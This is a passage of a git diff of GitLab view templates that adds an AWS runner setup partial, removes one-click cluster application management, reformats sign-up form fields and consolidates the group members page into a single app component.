diff --git a/app/views/ci/runner/_setup_runner_in_aws.html.haml b/app/views/ci/runner/_setup_runner_in_aws.html.haml
new file mode 100644
index 00000000000..b0a5b40f2ad
--- /dev/null
+++ b/app/views/ci/runner/_setup_runner_in_aws.html.haml
@@ -0,0 +1,16 @@
+%h5= _('Use GitLab Runner in AWS')
+
+%p
+ = _('Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS.')
+
+%ol
+ %li
+ = _('Copy this registration token.')
+ %br
+ %code#registration_token{ data: { testid: 'registration_token' } }= registration_token
+ = clipboard_button(target: '#registration_token', title: _('Copy token'), class: 'btn-transparent btn-clipboard')
+ %li
+ = _('Choose the preferred Runner and populate the AWS CFT.')
+ = link_to _('Learn more.'), 'https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg', target: '_blank', rel: 'noopener noreferrer'
+
+#js-runner-aws-deployments
diff --git a/app/views/clusters/clusters/_advanced_settings.html.haml b/app/views/clusters/clusters/_advanced_settings.html.haml
index 7f508fd0a59..c84b3a923ca 100644
--- a/app/views/clusters/clusters/_advanced_settings.html.haml
+++ b/app/views/clusters/clusters/_advanced_settings.html.haml
@@ -16,7 +16,7 @@
.sub-section.form-group
= form_for @cluster, url: clusterable.cluster_path(@cluster), as: :cluster, html: { class: 'cluster_management_form' } do |field|
%h4
- = s_('ClusterIntegration|Cluster management project (alpha)')
+ = s_('ClusterIntegration|Cluster management project')
%p
= project_select_tag('cluster[management_project_id]', class: 'hidden-filter-value', toggle_class: 'js-project-search js-project-filter js-filter-submit', dropdown_class: 'dropdown-menu-selectable dropdown-menu-project js-filter-submit',
diff --git a/app/views/clusters/clusters/_health.html.haml b/app/views/clusters/clusters/_health.html.haml
index 025f52d8771..75609465eb3 100644
--- a/app/views/clusters/clusters/_health.html.haml
+++ b/app/views/clusters/clusters/_health.html.haml
@@ -1,5 +1,5 @@
%section.settings.no-animate.expanded.cluster-health-graphs.qa-cluster-health-section#cluster-health
- - if @cluster&.application_prometheus_available?
+ - if @cluster&.integration_prometheus_available?
#prometheus-graphs{ data: @cluster.health_data(clusterable) }
- else
diff --git a/app/views/clusters/clusters/gcp/_form.html.haml b/app/views/clusters/clusters/gcp/_form.html.haml
index ee2817879be..73a09f00fd6 100644
--- a/app/views/clusters/clusters/gcp/_form.html.haml
+++ b/app/views/clusters/clusters/gcp/_form.html.haml
@@ -62,13 +62,12 @@
%p.form-text.text-muted
= s_('ClusterIntegration|Learn more about %{help_link_start_machine_type}machine types%{help_link_end} and %{help_link_start_pricing}pricing%{help_link_end}.').html_safe % { help_link_start_machine_type: help_link_start % { url: machine_type_link_url }, help_link_start_pricing: help_link_start % { url: pricing_link_url }, help_link_end: help_link_end }
- - if Feature.enabled?(:create_cloud_run_clusters, clusterable, default_enabled: true)
- .form-group
- = provider_gcp_field.check_box :cloud_run, { label: s_('ClusterIntegration|Enable Cloud Run for Anthos'),
- label_class: 'label-bold' }
- .form-text.text-muted
- = s_('ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster.')
- = link_to _('More information'), help_page_path('user/project/clusters/add_gke_clusters.md', anchor: 'cloud-run-for-anthos'), target: '_blank'
+ .form-group
+ = provider_gcp_field.check_box :cloud_run, { label: s_('ClusterIntegration|Enable Cloud Run for Anthos'),
+ label_class: 'label-bold' }
+ .form-text.text-muted
+ = s_('ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster.')
+ = link_to _('More information'), help_page_path('user/project/clusters/add_gke_clusters.md', anchor: 'cloud-run-for-anthos'), target: '_blank'
.form-group
= field.check_box :managed, { label: s_('ClusterIntegration|GitLab-managed cluster'),
diff --git a/app/views/clusters/clusters/show.html.haml b/app/views/clusters/clusters/show.html.haml
index 001ca80dbd6..7336b9fe86b 100644
--- a/app/views/clusters/clusters/show.html.haml
+++ b/app/views/clusters/clusters/show.html.haml
@@ -17,7 +17,6 @@
install_knative_path: clusterable.install_applications_cluster_path(@cluster, :knative),
update_knative_path: clusterable.update_applications_cluster_path(@cluster, :knative),
install_elastic_stack_path: clusterable.install_applications_cluster_path(@cluster, :elastic_stack),
- install_fluentd_path: clusterable.install_applications_cluster_path(@cluster, :fluentd),
cluster_environments_path: cluster_environments_path,
toggle_status: @cluster.enabled? ? 'true': 'false',
has_rbac: has_rbac_enabled?(@cluster) ? 'true': 'false',
@@ -26,11 +25,7 @@
cluster_status_reason: @cluster.status_reason,
provider_type: @cluster.provider_type,
pre_installed_knative: @cluster.knative_pre_installed? ? 'true': 'false',
- help_path: help_page_path('user/project/clusters/index.md', anchor: 'installing-applications'),
- helm_help_path: help_page_path('user/clusters/applications.md', anchor: 'helm'),
- ingress_help_path: help_page_path('user/clusters/applications.md', anchor: 'determining-the-external-endpoint-automatically'),
- ingress_dns_help_path: help_page_path('user/clusters/applications.md', anchor: 'pointing-your-dns-at-the-external-endpoint'),
- ingress_mod_security_help_path: help_page_path('user/clusters/applications.md', anchor: 'web-application-firewall-modsecurity'),
+ help_path: help_page_path('user/project/clusters/index.md'),
environments_help_path: help_page_path('ci/environments/index.md', anchor: 'create-a-static-environment'),
clusters_help_path: help_page_path('user/project/clusters/index.md', anchor: 'deploying-to-a-kubernetes-cluster'),
deploy_boards_help_path: help_page_path('user/project/deploy_boards.md', anchor: 'enabling-deploy-boards'),
@@ -52,13 +47,20 @@
= render 'banner'
+ .gl-alert.gl-alert-warning{ role: 'alert' }
+ = sprite_icon('warning', css_class: "gl-alert-icon gl-alert-icon-no-title gl-icon")
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss'), data: { testid: 'dismiss-one-click-application-removal' } }
+ = sprite_icon('close', css_class: 'gl-icon')
+ .gl-alert-body
+ = s_('ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working.')
+ = link_to _('More information.'), help_page_path("user/clusters/applications"), target: '_blank'
+
- if cluster_created?(@cluster)
.js-toggle-container
%ul.nav-links.mobile-separator.nav.nav-tabs{ role: 'tablist' }
= render 'details_tab'
= render_if_exists 'clusters/clusters/environments_tab'
= render 'clusters/clusters/health_tab'
- = render 'applications_tab'
= render 'integrations_tab'
= render 'advanced_settings_tab'
diff --git a/app/views/dashboard/todos/_todo.html.haml b/app/views/dashboard/todos/_todo.html.haml
index e7d8171d276..2c6c721a51c 100644
--- a/app/views/dashboard/todos/_todo.html.haml
+++ b/app/views/dashboard/todos/_todo.html.haml
@@ -3,7 +3,7 @@
.todo-avatar.gl-display-none.gl-sm-display-inline-block
= author_avatar(todo, size: 40)
- .todo-item.gl-w-full.gl-align-self-center{ data: { qa_selector: "todo_item_container" } }
+ .todo-item.flex-fill.gl-overflow-hidden.gl-overflow-x-auto.gl-align-self-center{ data: { qa_selector: "todo_item_container" } }
.todo-title.gl-mb-3.gl-md-mb-0
- if todo_author_display?(todo)
= todo_target_state_pill(todo)
diff --git a/app/views/dashboard/todos/index.html.haml b/app/views/dashboard/todos/index.html.haml
index 52e41946ed1..ca10861115b 100644
--- a/app/views/dashboard/todos/index.html.haml
+++ b/app/views/dashboard/todos/index.html.haml
@@ -37,7 +37,7 @@
.todos-filters
.issues-details-filters.row-content-block.second-block
= form_tag todos_filter_path(without: [:project_id, :author_id, :type, :action_id]), method: :get, class: 'filter-form gl-display-flex gl-flex-direction-column gl-sm-flex-direction-row' do
- .filter-categories.gl-display-flex.gl-flex-direction-column.gl-md-flex-direction-row.gl-flex-fill-1.gl-flex-wrap.gl-mx-n2
+ .filter-categories.gl-display-flex.gl-flex-direction-column.gl-md-flex-direction-row.gl-flex-grow-1.gl-flex-wrap.gl-mx-n2
.filter-item.gl-m-2
- if params[:group_id].present?
= hidden_field_tag(:group_id, params[:group_id])
diff --git a/app/views/devise/confirmations/almost_there.haml b/app/views/devise/confirmations/almost_there.haml
index 684af933f3a..037b2f247c1 100644
--- a/app/views/devise/confirmations/almost_there.haml
+++ b/app/views/devise/confirmations/almost_there.haml
@@ -1,8 +1,10 @@
+- user_email = "(#{params[:email]})" if params[:email].present?
+
.well-confirmation.gl-text-center.gl-mb-6
%h1.gl-mt-0
= _("Almost there...")
%p.lead.gl-mb-6
- = _("Please check your email to confirm your account")
+ = _('Please check your email %{email} to confirm your account') % { email: user_email }
%hr
- if Gitlab::CurrentSettings.after_sign_up_text.present?
.well-confirmation.gl-text-center
@@ -10,5 +12,5 @@
%p.text-center
= _("No confirmation email received? Please check your spam folder or")
.gl-mb-6.prepend-top-20.gl-text-center
- %a.btn.gl-button.btn-confirm{ href: new_user_confirmation_path }
+ %a.gl-link{ href: new_user_confirmation_path }
= _("Request new confirmation email")
diff --git a/app/views/devise/passwords/new.html.haml b/app/views/devise/passwords/new.html.haml
index ef876779ad6..7f6ce712af2 100644
--- a/app/views/devise/passwords/new.html.haml
+++ b/app/views/devise/passwords/new.html.haml
@@ -6,6 +6,8 @@
.form-group
= f.label :email
= f.email_field :email, class: "form-control gl-form-input", required: true, value: params[:user_email], autofocus: true, title: _('Please provide a valid email address.')
+ .form-text.text-muted
+ = _('Requires your primary GitLab email address.')
.clearfix
= f.submit _("Reset password"), class: "gl-button btn-confirm btn"
diff --git a/app/views/devise/registrations/new.html.haml b/app/views/devise/registrations/new.html.haml
index 00429f1acbc..4ec3fcde337 100644
--- a/app/views/devise/registrations/new.html.haml
+++ b/app/views/devise/registrations/new.html.haml
@@ -8,6 +8,5 @@
= render 'devise/shared/signup_box',
url: registration_path(resource_name),
button_text: _('Register'),
- show_omniauth_providers: omniauth_enabled? && button_based_providers_enabled?,
- suggestion_path: nil
+ show_omniauth_providers: omniauth_enabled? && button_based_providers_enabled?
= render 'devise/shared/sign_in_link'
diff --git a/app/views/devise/shared/_signup_box.html.haml b/app/views/devise/shared/_signup_box.html.haml
index 1b410f0b671..09b7f247450 100644
--- a/app/views/devise/shared/_signup_box.html.haml
+++ b/app/views/devise/shared/_signup_box.html.haml
@@ -1,6 +1,4 @@
- max_first_name_length = max_last_name_length = 127
-- max_username_length = 255
-- min_username_length = 2
- omniauth_providers_placement ||= :bottom
.gl-mb-3.gl-p-4.gl-border-gray-100.gl-border-1.gl-border-solid.gl-rounded-base
@@ -11,26 +9,53 @@
.devise-errors
= render 'devise/shared/error_messages', resource: resource
- if Gitlab::CurrentSettings.invisible_captcha_enabled
- = invisible_captcha nonce: true
+ = invisible_captcha nonce: true, autocomplete: SecureRandom.alphanumeric(12)
.name.form-row
.col.form-group
= f.label :first_name, _('First name'), for: 'new_user_first_name', class: 'label-bold'
- = f.text_field :first_name, class: 'form-control gl-form-input top js-block-emoji js-validate-length', :data => { :max_length => max_first_name_length, :max_length_message => s_('SignUp|First name is too long (maximum is %{max_length} characters).') % { max_length: max_first_name_length }, :qa_selector => 'new_user_first_name_field' }, required: true, title: _('This field is required.')
+ = f.text_field :first_name,
+ class: 'form-control gl-form-input top js-block-emoji js-validate-length',
+ data: { max_length: max_first_name_length,
+ max_length_message: s_('SignUp|First name is too long (maximum is %{max_length} characters).') % { max_length: max_first_name_length },
+ qa_selector: 'new_user_first_name_field' },
+ required: true,
+ title: _('This field is required.')
.col.form-group
= f.label :last_name, _('Last name'), for: 'new_user_last_name', class: 'label-bold'
- = f.text_field :last_name, class: 'form-control gl-form-input top js-block-emoji js-validate-length', :data => { :max_length => max_last_name_length, :max_length_message => s_('SignUp|Last name is too long (maximum is %{max_length} characters).') % { max_length: max_last_name_length }, :qa_selector => 'new_user_last_name_field' }, required: true, title: _('This field is required.')
+ = f.text_field :last_name,
+ class: 'form-control gl-form-input top js-block-emoji js-validate-length',
+ data: { max_length: max_last_name_length,
+ max_length_message: s_('SignUp|Last name is too long (maximum is %{max_length} characters).') % { max_length: max_last_name_length },
+ qa_selector: 'new_user_last_name_field' },
+ required: true,
+ title: _('This field is required.')
.username.form-group
= f.label :username, class: 'label-bold'
- = f.text_field :username, class: 'form-control gl-form-input middle js-block-emoji js-validate-length js-validate-username', :data => { :api_path => suggestion_path, :min_length => min_username_length, :min_length_message => s_('SignUp|Username is too short (minimum is %{min_length} characters).') % { min_length: min_username_length }, :max_length => max_username_length, :max_length_message => s_('SignUp|Username is too long (maximum is %{max_length} characters).') % { max_length: max_username_length }, :qa_selector => 'new_user_username_field' }, pattern: Gitlab::PathRegex::NAMESPACE_FORMAT_REGEX_JS, required: true, title: _('Please create a username with only alphanumeric characters.')
+ = f.text_field :username,
+ class: 'form-control gl-form-input middle js-block-emoji js-validate-length js-validate-username',
+ data: signup_username_data_attributes,
+ pattern: Gitlab::PathRegex::NAMESPACE_FORMAT_REGEX_JS,
+ required: true,
+ title: _('Please create a username with only alphanumeric characters.')
%p.validation-error.gl-text-red-500.gl-field-error-ignore.gl-mt-2.field-validation.hide= _('Username is already taken.')
%p.validation-success.gl-text-green-600.gl-field-error-ignore.gl-mt-2.field-validation.hide= _('Username is available.')
%p.validation-pending.gl-field-error-ignore.gl-mt-2.field-validation.hide= _('Checking username availability...')
.form-group
= f.label :email, class: 'label-bold'
- = f.email_field :email, value: @invite_email, class: 'form-control gl-form-input middle', data: { qa_selector: 'new_user_email_field' }, required: true, title: _('Please provide a valid email address.')
+ = f.email_field :email,
+ value: @invite_email,
+ class: 'form-control gl-form-input middle',
+ data: { qa_selector: 'new_user_email_field' },
+ required: true,
+ title: _('Please provide a valid email address.')
.form-group.gl-mb-5#password-strength
= f.label :password, class: 'label-bold'
- = f.password_field :password, class: 'form-control gl-form-input bottom', data: { qa_selector: 'new_user_password_field' }, required: true, pattern: ".{#{@minimum_password_length},}", title: s_('SignUp|Minimum length is %{minimum_password_length} characters.') % { minimum_password_length: @minimum_password_length }
+ = f.password_field :password,
+ class: 'form-control gl-form-input bottom',
+ data: { qa_selector: 'new_user_password_field' },
+ required: true,
+ pattern: ".{#{@minimum_password_length},}",
+ title: s_('SignUp|Minimum length is %{minimum_password_length} characters.') % { minimum_password_length: @minimum_password_length }
%p.gl-field-hint.text-secondary= s_('SignUp|Minimum length is %{minimum_password_length} characters.') % { minimum_password_length: @minimum_password_length }
%div
- if show_recaptcha_sign_up?
diff --git a/app/views/events/_event.atom.builder b/app/views/events/_event.atom.builder
index 17bf43a4590..c429bbbb610 100644
--- a/app/views/events/_event.atom.builder
+++ b/app/views/events/_event.atom.builder
@@ -3,10 +3,11 @@
return unless event.visible_to_user?(current_user)
event = event.present
+event_url = event_feed_url(event)
xml.entry do
xml.id "tag:#{request.host},#{event.created_at.strftime("%Y-%m-%d")}:#{event.id}"
- xml.link href: event_feed_url(event)
+ xml.link href: event_url if event_url
xml.title truncate(event_feed_title(event), length: 80)
xml.updated event.updated_at.xmlschema
diff --git a/app/views/events/_event_push.atom.haml b/app/views/events/_event_push.atom.haml
index c5b033b1185..c3786d7c16d 100644
--- a/app/views/events/_event_push.atom.haml
+++ b/app/views/events/_event_push.atom.haml
@@ -1,7 +1,9 @@
+- event_url = event_feed_url(event)
+
%div{ xmlns: "http://www.w3.org/1999/xhtml" }
%p
%strong= event.author_name
- = link_to "(#{truncate_sha(event.commit_id)})", event_feed_url(event)
+ = link_to "(#{truncate_sha(event.commit_id)})", event_url if event_url
%i
at
= event.created_at.to_s(:short)
diff --git a/app/views/groups/_invite_members_modal.html.haml b/app/views/groups/_invite_members_modal.html.haml
index 69ed94e99cc..f4f3c8ce8f7 100644
--- a/app/views/groups/_invite_members_modal.html.haml
+++ b/app/views/groups/_invite_members_modal.html.haml
@@ -4,4 +4,4 @@
is_project: 'false',
access_levels: GroupMember.access_level_roles.to_json,
default_access_level: Gitlab::Access::GUEST,
- help_link: help_page_url('user/permissions') } }
+ help_link: help_page_url('user/permissions') }.merge(group_select_data(group)) }
diff --git a/app/views/groups/_new_group_fields.html.haml b/app/views/groups/_new_group_fields.html.haml
index fbf9438718e..49c8c2700ce 100644
--- a/app/views/groups/_new_group_fields.html.haml
+++ b/app/views/groups/_new_group_fields.html.haml
@@ -22,6 +22,6 @@
.col-sm-4
= recaptcha_tags nonce: content_security_policy_nonce
.row
- .form-actions.col-sm-12
+ .col-sm-12
= f.submit _('Create group'), class: "btn gl-button btn-confirm"
= link_to _('Cancel'), dashboard_groups_path, class: 'btn gl-button btn-default btn-cancel'
diff --git a/app/views/groups/dependency_proxies/show.html.haml b/app/views/groups/dependency_proxies/show.html.haml
index 2ecf92e0769..5cf4ff4bc26 100644
--- a/app/views/groups/dependency_proxies/show.html.haml
+++ b/app/views/groups/dependency_proxies/show.html.haml
@@ -24,5 +24,7 @@
= render 'groups/dependency_proxies/url'
- else
.gl-alert.gl-alert-info
- = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- = _('Dependency proxy feature is limited to public groups for now.')
+ .gl-alert-container
+ = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ = _('Dependency proxy feature is limited to public groups for now.')
diff --git a/app/views/groups/group_members/index.html.haml b/app/views/groups/group_members/index.html.haml
index 45488791272..c5b8c5e25a3 100644
--- a/app/views/groups/group_members/index.html.haml
+++ b/app/views/groups/group_members/index.html.haml
@@ -1,8 +1,6 @@
- add_page_specific_style 'page_bundles/members'
- page_title _('Group members')
-- show_invited_members = can_manage_members? && @invited_members.load.any?
-- show_access_requests = can_manage_members? && @requesters.load.any?
-- invited_active = params[:search_invited].present? || params[:invited_members_page].present?
+- groups_select_tag_data = group_select_data(@group).merge({ skip_groups: @skip_groups })
.js-remove-member-modal
.row.gl-mt-3
@@ -18,7 +16,10 @@
.gl-w-half.gl-xs-w-full
.gl-display-flex.gl-flex-wrap.gl-justify-content-end.gl-mb-3
.js-invite-group-trigger{ data: { classes: 'gl-mt-3 gl-sm-w-auto gl-w-full', display_text: _('Invite a group') } }
- .js-invite-members-trigger{ data: { variant: 'success', classes: 'gl-mt-3 gl-sm-w-auto gl-w-full gl-sm-ml-3', display_text: _('Invite members') } }
+ .js-invite-members-trigger{ data: { variant: 'success',
+ classes: 'gl-mt-3 gl-sm-w-auto gl-w-full gl-sm-ml-3',
+ trigger_source: 'group-members-page',
+ display_text: _('Invite members') } }
= render 'groups/invite_members_modal', group: @group
- if can_manage_members? && Feature.disabled?(:invite_members_group_modal, @group)
%hr.gl-mt-4
@@ -31,51 +32,13 @@
.tab-pane.active{ id: 'invite-member-pane', role: 'tabpanel' }
= render_invite_member_for_group(@group, @group_member.access_level)
.tab-pane{ id: 'invite-group-pane', role: 'tabpanel' }
- = render 'shared/members/invite_group', submit_url: group_group_links_path(@group), access_levels: GroupMember.access_level_roles, default_access_level: @group_member.access_level, group_link_field: 'shared_with_group_id', group_access_field: 'shared_group_access'
+ = render 'shared/members/invite_group', submit_url: group_group_links_path(@group), access_levels: GroupMember.access_level_roles, default_access_level: @group_member.access_level, group_link_field: 'shared_with_group_id', group_access_field: 'shared_group_access', groups_select_tag_data: groups_select_tag_data
= render_if_exists 'groups/group_members/ldap_sync'
- %ul.nav-links.mobile-separator.nav.nav-tabs
- %li.nav-item
- = link_to '#tab-members', class: ['nav-link', ('active' unless invited_active)], data: { toggle: 'tab' } do
- %span
- = _('Members')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @members.total_count
- - if @group.shared_with_group_links.present?
- %li.nav-item
- = link_to '#tab-groups', class: ['nav-link'] , data: { toggle: 'tab', qa_selector: 'groups_list_tab' } do
- %span
- = _('Groups')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @group.shared_with_group_links.count
- - if show_invited_members
- %li.nav-item
- = link_to '#tab-invited-members', class: ['nav-link', ('active' if invited_active)], data: { toggle: 'tab' } do
- %span
- = _('Invited')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @invited_members.total_count
- - if show_access_requests
- %li.nav-item
- = link_to '#tab-access-requests', class: 'nav-link', data: { toggle: 'tab' } do
- %span
- = _('Access requests')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @requesters.count
- .tab-content
- #tab-members.tab-pane{ class: ('active' unless invited_active) }
- .js-group-members-list{ data: { members_data: group_members_list_data_json(@group, @members, { param_name: :page, params: { invited_members_page: nil, search_invited: nil } }) } }
- .loading
- .gl-spinner.gl-spinner-md
- - if @group.shared_with_group_links.present?
- #tab-groups.tab-pane
- .js-group-group-links-list{ data: { members_data: group_group_links_list_data_json(@group) } }
- .loading
- .gl-spinner.gl-spinner-md
- - if show_invited_members
- #tab-invited-members.tab-pane{ class: ('active' if invited_active) }
- .js-group-invited-members-list{ data: { members_data: group_members_list_data_json(@group, @invited_members, { param_name: :invited_members_page, params: { page: nil } }) } }
- .loading
- .gl-spinner.gl-spinner-md
- - if show_access_requests
- #tab-access-requests.tab-pane
- .js-group-access-requests-list{ data: { members_data: group_members_list_data_json(@group, @requesters) } }
- .loading
- .gl-spinner.gl-spinner-md
+ .js-group-members-list-app{ data: { members_data: group_members_app_data_json(@group,
+ members: @members,
+ invited: @invited_members,
+ access_requests: @requesters) } }
+ .loading
+ .gl-spinner.gl-spinner-md
diff --git a/app/views/groups/new.html.haml b/app/views/groups/new.html.haml
index 920a6ccd9ec..11927142ea6 100644
--- a/app/views/groups/new.html.haml
+++ b/app/views/groups/new.html.haml
@@ -2,47 +2,24 @@
- @hide_top_links = true
- page_title _('New Group')
- header_title _("Groups"), dashboard_groups_path
-- active_tab = local_assigns.fetch(:active_tab, 'create')
+- add_page_specific_style 'page_bundles/new_namespace'
-.group-edit-container.gl-mt-3
- .row
- .col-lg-3.group-settings-sidebar
- %h4.prepend-top-0
- = _('New group')
- %p
- - group_docs_path = help_page_path('user/group/index')
- - group_docs_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: group_docs_path }
- = s_('%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects.').html_safe % { group_docs_link_start: group_docs_link_start, group_docs_link_end: '</a>'.html_safe }
- %p
- - subgroup_docs_path = help_page_path('user/group/subgroups/index')
- - subgroup_docs_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: subgroup_docs_path }
- = s_('Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}.').html_safe % { subgroup_docs_link_start: subgroup_docs_link_start, subgroup_docs_link_end: '</a>'.html_safe }
- %p
- = _('Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group.')
+.group-edit-container.gl-mt-5
- .col-lg-9.js-toggle-container
- %ul.nav.nav-tabs.nav-links.gitlab-tabs{ role: 'tablist' }
- %li.nav-item{ role: 'presentation' }
- %a.nav-link.active{ href: '#create-group-pane', id: 'create-group-tab', role: 'tab', data: { toggle: 'tab', track_label: 'create_group', track_event: 'click_tab', track_value: '' } }
- %span.d-none.d-sm-block= s_('GroupsNew|Create group')
- %span.d-block.d-sm-none= s_('GroupsNew|Create')
- %li.nav-item{ role: 'presentation' }
- %a.nav-link{ href: '#import-group-pane', id: 'import-group-tab', role: 'tab', data: { toggle: 'tab', track_label: 'import_group', track_event: 'click_tab', track_value: '' } }
- %span.d-none.d-sm-block= s_('GroupsNew|Import group')
- %span.d-block.d-sm-none= s_('GroupsNew|Import')
+ .js-new-group-creation{ data: { has_errors: @group.errors.any?.to_s } }
- .tab-content.gitlab-tab-content.gl-border-none
- .tab-pane.js-toggle-container{ id: 'create-group-pane', class: active_when(active_tab == 'create'), role: 'tabpanel' }
- = form_for @group, html: { class: 'group-form gl-show-field-errors' } do |f|
- = render 'new_group_fields', f: f, group_name_id: 'create-group-name'
+ .row{ 'v-cloak': true }
+ #create-group-pane.tab-pane
+ = form_for @group, html: { class: 'group-form gl-show-field-errors' } do |f|
+ = render 'new_group_fields', f: f, group_name_id: 'create-group-name'
- .tab-pane.no-padding.js-toggle-container{ id: 'import-group-pane', class: active_when(active_tab) == 'import', role: 'tabpanel' }
- - if import_sources_enabled?
- - if Feature.enabled?(:bulk_import)
- = render 'import_group_from_another_instance_panel'
- .gl-mt-7.gl-border-b-solid.gl-border-gray-100.gl-border-1
- = render 'import_group_from_file_panel'
- - else
- .nothing-here-block
- %h4= s_('GroupsNew|No import options available')
- %p= s_('GroupsNew|Contact an administrator to enable options for importing your group.')
+ #import-group-pane.tab-pane
+ - if import_sources_enabled?
+ - if Feature.enabled?(:bulk_import)
+ = render 'import_group_from_another_instance_panel'
+ .gl-mt-7.gl-border-b-solid.gl-border-gray-100.gl-border-1
+ = render 'import_group_from_file_panel'
+ - else
+ .nothing-here-block
+ %h4= s_('GroupsNew|No import options available')
+ %p= s_('GroupsNew|Contact an administrator to enable options for importing your group.')
diff --git a/app/views/groups/runners/_group_runners.html.haml b/app/views/groups/runners/_group_runners.html.haml
index 910b36770f1..823d908c5e2 100644
--- a/app/views/groups/runners/_group_runners.html.haml
+++ b/app/views/groups/runners/_group_runners.html.haml
@@ -13,6 +13,10 @@
= render partial: 'ci/runner/how_to_setup_runner_automatically',
locals: { type: 'group',
clusters_path: group_clusters_path(@group) }
+ - if params[:ci_runner_templates]
+ %hr
+ = render partial: 'ci/runner/setup_runner_in_aws',
+ locals: { registration_token: @group.runners_token }
%hr
= render partial: 'ci/runner/how_to_setup_runner',
locals: { registration_token: @group.runners_token,
diff --git a/app/views/groups/settings/_permissions.html.haml b/app/views/groups/settings/_permissions.html.haml
index fcfe70bd694..d1f356ed665 100644
--- a/app/views/groups/settings/_permissions.html.haml
+++ b/app/views/groups/settings/_permissions.html.haml
@@ -7,13 +7,21 @@
.form-group
= render 'shared/allow_request_access', form: f
+ - if @group.root?
+ .form-group.gl-mb-3
+ .gl-form-checkbox.custom-control.custom-checkbox
+ = f.check_box :prevent_sharing_groups_outside_hierarchy, disabled: !can_change_prevent_sharing_groups_outside_hierarchy?(@group), class: 'custom-control-input'
+ = f.label :prevent_sharing_groups_outside_hierarchy, class: 'custom-control-label' do
+ %span
+ = s_('GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups.').html_safe % { group: link_to_group(@group) }
+ %p.js-descr.help-text= prevent_sharing_groups_outside_hierarchy_help_text(@group)
+
.form-group.gl-mb-3
.gl-form-checkbox.custom-control.custom-checkbox
= f.check_box :share_with_group_lock, disabled: !can_change_share_with_group_lock?(@group), class: 'custom-control-input'
= f.label :share_with_group_lock, class: 'custom-control-label' do
%span
- - group_link = link_to @group.name, group_path(@group)
- = s_('GroupSettings|Prevent sharing a project within %{group} with other groups').html_safe % { group: group_link }
+ = s_('GroupSettings|Prevent sharing a project within %{group} with other groups').html_safe % { group: link_to_group(@group) }
%p.js-descr.help-text= share_with_group_lock_help_text(@group)
.form-group.gl-mb-3
diff --git a/app/views/groups/settings/ci_cd/_form.html.haml b/app/views/groups/settings/ci_cd/_form.html.haml
index c5cc3eb693c..b6f70879d17 100644
--- a/app/views/groups/settings/ci_cd/_form.html.haml
+++ b/app/views/groups/settings/ci_cd/_form.html.haml
@@ -8,6 +8,5 @@
= f.number_field :max_artifacts_size, class: 'form-control'
%p.form-text.text-muted
= _("The maximum file size in megabytes for individual job artifacts.")
- = link_to sprite_icon('question-o'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size'), target: '_blank'
-
+ = link_to s_('Learn more.'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size'), target: '_blank', rel: 'noopener noreferrer'
= f.submit _('Save changes'), class: "btn gl-button btn-confirm"
diff --git a/app/views/groups/settings/integrations/index.html.haml b/app/views/groups/settings/integrations/index.html.haml
index 92b545cad0a..7a81d53c085 100644
--- a/app/views/groups/settings/integrations/index.html.haml
+++ b/app/views/groups/settings/integrations/index.html.haml
@@ -5,5 +5,5 @@
%h3= s_('Integrations|Project integration management')
- integrations_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: integrations_help_page_path }
-%p= s_('Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}.').html_safe % { integrations_link_start: integrations_link_start, link_end: '</a>'.html_safe }
+%p= s_("Integrations|GitLab administrators can set up integrations that all projects inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}project integration management%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, link_end: "</a>".html_safe }
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/groups/show.html.haml b/app/views/groups/show.html.haml
index 9f7f0a08df5..628425bf463 100644
--- a/app/views/groups/show.html.haml
+++ b/app/views/groups/show.html.haml
@@ -1,6 +1,7 @@
- @content_class = "limit-container-width" unless fluid_layout
- page_itemtype 'https://schema.org/Organization'
- @skip_current_level_breadcrumb = true
+- add_page_specific_style 'page_bundles/group'
- if show_thanks_for_purchase_banner?
= render_if_exists 'shared/thanks_for_purchase_banner', plan_title: plan_title, quantity: params[:purchased_quantity].to_i
diff --git a/app/views/groups/sidebar/_packages.html.haml b/app/views/groups/sidebar/_packages.html.haml
index 7e0ee032aeb..e0158e4bf22 100644
--- a/app/views/groups/sidebar/_packages.html.haml
+++ b/app/views/groups/sidebar/_packages.html.haml
@@ -2,7 +2,7 @@
- if group_packages_nav?
= nav_link(controller: ['groups/packages', 'groups/registry/repositories', 'groups/dependency_proxies']) do
- = link_to packages_link, title: _('Packages') do
+ = link_to packages_link, title: _('Packages'), class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('package')
%span.nav-item-name
diff --git a/app/views/import/_githubish_status.html.haml b/app/views/import/_githubish_status.html.haml
index 4cf08b1d2be..02a8f3142c6 100644
